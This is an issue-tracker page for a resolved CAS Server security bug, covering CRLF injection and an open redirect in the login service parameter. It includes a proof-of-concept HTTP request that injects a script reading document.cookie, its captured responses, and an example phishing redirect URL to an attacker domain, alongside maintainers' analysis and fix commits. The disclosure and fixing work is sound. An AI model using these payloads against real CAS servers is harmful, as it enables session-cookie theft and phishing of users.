CAS Server
  1. CAS Server
  2. CAS-1064

CAS Service Parameter is Susceptible to CRLF Attacks

    Details

    • Type: Security Bug Security Bug
    • Status: Resolved
    • Priority: Major Major
    • Resolution: Fixed
    • Affects Version/s: 3.4.10
    • Fix Version/s: 3.4.11
    • Component/s: Web
    • Labels:

      Description

      Vulnerability report submitted by Veracode:

      During an application assessment for one of our customers we discovered a vulnerability isn Jasig/CAS. The service is prone to a CRLF injection and an open URL redirection vulnerability. The service parameter of the /cas/login servlet can be used by an attacker to execute arbitrary javascript in the user's browser within the context of the domain the CAS is running on. If CAS is configured to remember users, the CAS cookies (CASPRIVARY/CASTGC) could be stolen since the malicious javascript will be executing under the path specified by the set-cookie. (in this case /cas)
      Below is a login request that was shown to cause javascript execution on a Mozilla browser through use of the CRLF injection. Note that CRLF exploitation techniques vary from browser to browser.
      The open redirect issue is easily seen by simply changing the service parameter to an arbitrary url. Upon successful authentication the user will be redirected to this url.
      The version that was tested was 3.3.5

      POST /cas/login?service=http:%3A%2F%2fwww.veracode.com%0D%0ALocation:%20javascript:%0D%0A%0D%0A%3Cscript%3Ealert(document.cookie)%3C/script%3E HTTP/1.1
      Host: xxxxxxxxxxxxxxxxxx
      User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.22) Gecko/20110905 Ubuntu/10.04 (lucid) Firefox/3.6.22
      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
      Accept-Language: en-us,en;q=0.5
      Accept-Encoding: gzip,deflate
      Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
      Keep-Alive: 115
      Proxy-Connection: keep-alive
      Referer: http://xxxxxxxxxxxxxxxxxx/cas/login?service=http:%3A%2F%2fwww.veracode.com%0D%0ALocation:%20javascript:%0D%0A%0D%0A%3Cscript%3Ealert(document.cookie)%3C/script%3E
      Cookie: username=Admin; JSESSIONID=7F0FDB29748B75F2BAF5177E2E63777F
      Content-Type: application/x-www-form-urlencoded
      Content-Length: 75

      username=Admin&password=xxxxxxxx&j_uri=&lt=e1s1&_eventId=submit&login=Sign+In

      HTTP/1.1 302 Moved Temporarily
      Date: Mon, 12 Sep 2011 21:12:01 GMT
      Server: Apache/2.2.3 (CentOS)
      Pragma: no-cache
      Expires: Thu, 01 Jan 1970 00:00:00 GMT
      Cache-Control: no-cache
      Cache-Control: no-store
      Set-Cookie: CASPRIVACY=""; Domain=xxxxxxxx.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/cas
      Set-Cookie: CASTGC=TGT-101-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; Domain=xxxxxxxxx; Path=/cas; Secure
      Location: http://xxxxxxxxxxxxxxxxx/cas/login/http:://www.veracode.com
      Location: javascript:

      <script>alert(document.cookie)</script>?ticket=ST-95-rw9qb************************
      Content-Length: 0
      Connection: close
      Content-Type: text/plain; charset=UTF-8

        Activity

        Hide
        Marvin S. Addison added a comment -

        I have attempted to reproduce the problem and cannot. CAS sends the following response using the reported attack service URL:

        HTTP/1.1 302 Moved Temporarily
        Server: Apache-Coyote/1.1
        Pragma: no-cache
        Expires: Thu, 01 Jan 1970 00:00:00 GMT
        Cache-Control: no-cache, no-store
        Set-Cookie: CASPRIVACY=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT;
        Path=/cas-server/
        Set-Cookie: CASTGC=TGT-1-QAFEPo6doBwR9Ul1hJKnkjp4EP7ceBCxzrqdDEOt40dqClKz90-eiger.middleware.vt.edu;
        Path=/cas-server/; Secure
        Location: https://eiger.middleware.vt.edu/cas-server/https:://www.vt.edu
        Location: javascript:
        <script>alert(document.cookie)</script>?ticket=ST-1-zE4msvh9mzEQXwSc7ijO-eiger.middleware.vt.edu
        Content-Length: 0
        Date: Wed, 14 Sep 2011 13:45:50 GMT

        As you can see some component in the response output chain is normalizing CRLF characters into space characters. Code and debugging analysis shows that no CAS component is responsible for this
        sanitization; neither the Response component responsible for constructing the redirect URL nor Spring Webflow components (e.g.ExternalRedirectAction). There is every indication that this support is provided by the container; I've done my testing on Tomcat 6.0.26. Based on http://old.nabble.com/CRLF-Stripped-in-Tomcat-Response-Header-td32394545.html, I did code review for all related components for the various HTTP connectors used in Tomcat (Coyote, NIO, APR), and all connectors provide similar functionality:

        // From the Tomcat 3.3 HTTP/1.0 connector
        int len = s.length();
        for (int i = 0; i < len; i++) {
        char c = s.charAt ;
        // Note: This is clearly incorrect for many strings,
        // but is the only consistent approach within the current
        // servlet framework. It must suffice until servlet output
        // streams properly encode their output.
        if ((c <= 31) && (c != 9))

        { c = ' '; } else if (c == 127) { c = ' '; }

        buf[pos++] = (byte) c;
        }

        I'm going to trust the comment that this capability has been around a long time in Tomcat. I can only assume that the vulnerability was discovered on another servlet container. In any case I believe we should explicitly add similar sanitization code to the Response component of CAS to prevent this issue on containers that lack Tomcat's feature above.

        Show
        Marvin S. Addison added a comment - I have attempted to reproduce the problem and cannot. CAS sends the following response using the reported attack service URL: HTTP/1.1 302 Moved Temporarily Server: Apache-Coyote/1.1 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache, no-store Set-Cookie: CASPRIVACY=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/cas-server/ Set-Cookie: CASTGC=TGT-1-QAFEPo6doBwR9Ul1hJKnkjp4EP7ceBCxzrqdDEOt40dqClKz90-eiger.middleware.vt.edu; Path=/cas-server/; Secure Location: https://eiger.middleware.vt.edu/cas-server/https:://www.vt.edu Location: javascript: <script>alert(document.cookie)</script>?ticket=ST-1-zE4msvh9mzEQXwSc7ijO-eiger.middleware.vt.edu Content-Length: 0 Date: Wed, 14 Sep 2011 13:45:50 GMT As you can see some component in the response output chain is normalizing CRLF characters into space characters. Code and debugging analysis shows that no CAS component is responsible for this sanitization; neither the Response component responsible for constructing the redirect URL nor Spring Webflow components (e.g.ExternalRedirectAction). There is every indication that this support is provided by the container; I've done my testing on Tomcat 6.0.26. Based on http://old.nabble.com/CRLF-Stripped-in-Tomcat-Response-Header-td32394545.html , I did code review for all related components for the various HTTP connectors used in Tomcat (Coyote, NIO, APR), and all connectors provide similar functionality: // From the Tomcat 3.3 HTTP/1.0 connector int len = s.length(); for (int i = 0; i < len; i++) { char c = s.charAt ; // Note: This is clearly incorrect for many strings, // but is the only consistent approach within the current // servlet framework. It must suffice until servlet output // streams properly encode their output. if ((c <= 31) && (c != 9)) { c = ' '; } else if (c == 127) { c = ' '; } buf [pos++] = (byte) c; } I'm going to trust the comment that this capability has been around a long time in Tomcat. I can only assume that the vulnerability was discovered on another servlet container. In any case I believe we should explicitly add similar sanitization code to the Response component of CAS to prevent this issue on containers that lack Tomcat's feature above.
        Hide
        Marvin S. Addison added a comment -

        Veracode was unable to provide the specific servlet container in use where the attack was discovered. Based on our investigation we can conclude it was something other than Tomcat.

        Show
        Marvin S. Addison added a comment - Veracode was unable to provide the specific servlet container in use where the attack was discovered. Based on our investigation we can conclude it was something other than Tomcat.
        Show
        Marvin S. Addison added a comment - The following commits provide additional protection for this attack vector for platforms (e.g. non-Tomcat-based) that may not provide CRLF sanitization: https://github.com/Jasig/cas/commit/ed1ef82bc7bb4d7df225bda16891f44b76b61138 https://github.com/Jasig/cas/commit/405bee5e86271abe2fb4793b5ae85002f2282d13 https://github.com/Jasig/cas/commit/911254c6cb1dc69f208464da7e09cc7aa24c85d7 https://github.com/Jasig/cas/commit/dcc451643888f1238d84aa155fa36fa69a84f744
        Hide
        Marvin S. Addison added a comment -

        We have added protection to CAS server code as an added measure for cases where CAS is deployed on a servlet container that lack Tomcat's built-in protection.

        Show
        Marvin S. Addison added a comment - We have added protection to CAS server code as an added measure for cases where CAS is deployed on a servlet container that lack Tomcat's built-in protection.
        Hide
        Moshe Ben shoham added a comment -

        It seems to me like the discussion here relates only to the CLRF vulnerability and not to the much simpler open redirect vulnerability.

        It is easily recreated:

        Suppose your CAS URL is www.mydomain.com/cas and your app's URL is www.mydomain.com/myapp. Let's assume, for simplicity, that the entire app is protected, so clicking on link to:

        http://www.mydomain.com/myapp

        should normally redirect you to something like:

        https://www.mydomain.com/cas/login?service=http%3A%2F%2Fwww.mydomain.com/myapp

        An attacker could somehow make you click on a link to:

        https://www.mydomain.com/cas/login?service=http%3A%2F%2Fwww.attackerdomain.com/myapp

        then you login and get redirected to the attacker's app (phisihing).

        I tried it on Tomcat and it happens (and I wouldn't expect it not to).

        Show
        Moshe Ben shoham added a comment - It seems to me like the discussion here relates only to the CLRF vulnerability and not to the much simpler open redirect vulnerability. It is easily recreated: Suppose your CAS URL is www.mydomain.com/cas and your app's URL is www.mydomain.com/myapp. Let's assume, for simplicity, that the entire app is protected, so clicking on link to: http://www.mydomain.com/myapp should normally redirect you to something like: https://www.mydomain.com/cas/login?service=http%3A%2F%2Fwww.mydomain.com/myapp An attacker could somehow make you click on a link to: https://www.mydomain.com/cas/login?service=http%3A%2F%2Fwww.attackerdomain.com/myapp then you login and get redirected to the attacker's app (phisihing). I tried it on Tomcat and it happens (and I wouldn't expect it not to).
        Hide
        Marvin S. Addison added a comment -

        Moshe: It is common practice for deployers to further restrict services to their domains using wildcard registrations like https://*.vt.edu/**, which would mitigate this attack. I considered adding some build machinery to add these by default, but after evaluation of implementation effort I decided it couldn't be justified.

        Perhaps we could address this attack vector via documentation instead.

        Show
        Marvin S. Addison added a comment - Moshe: It is common practice for deployers to further restrict services to their domains using wildcard registrations like https://*.vt.edu/** , which would mitigate this attack. I considered adding some build machinery to add these by default, but after evaluation of implementation effort I decided it couldn't be justified. Perhaps we could address this attack vector via documentation instead.

          People

          • Assignee:
            Marvin S. Addison
            Reporter:
            Marvin S. Addison
          • Votes:
            0 Vote for this issue
            Watchers:
            2 Start watching this issue

            Dates

            • Created:
              Updated:
              Resolved: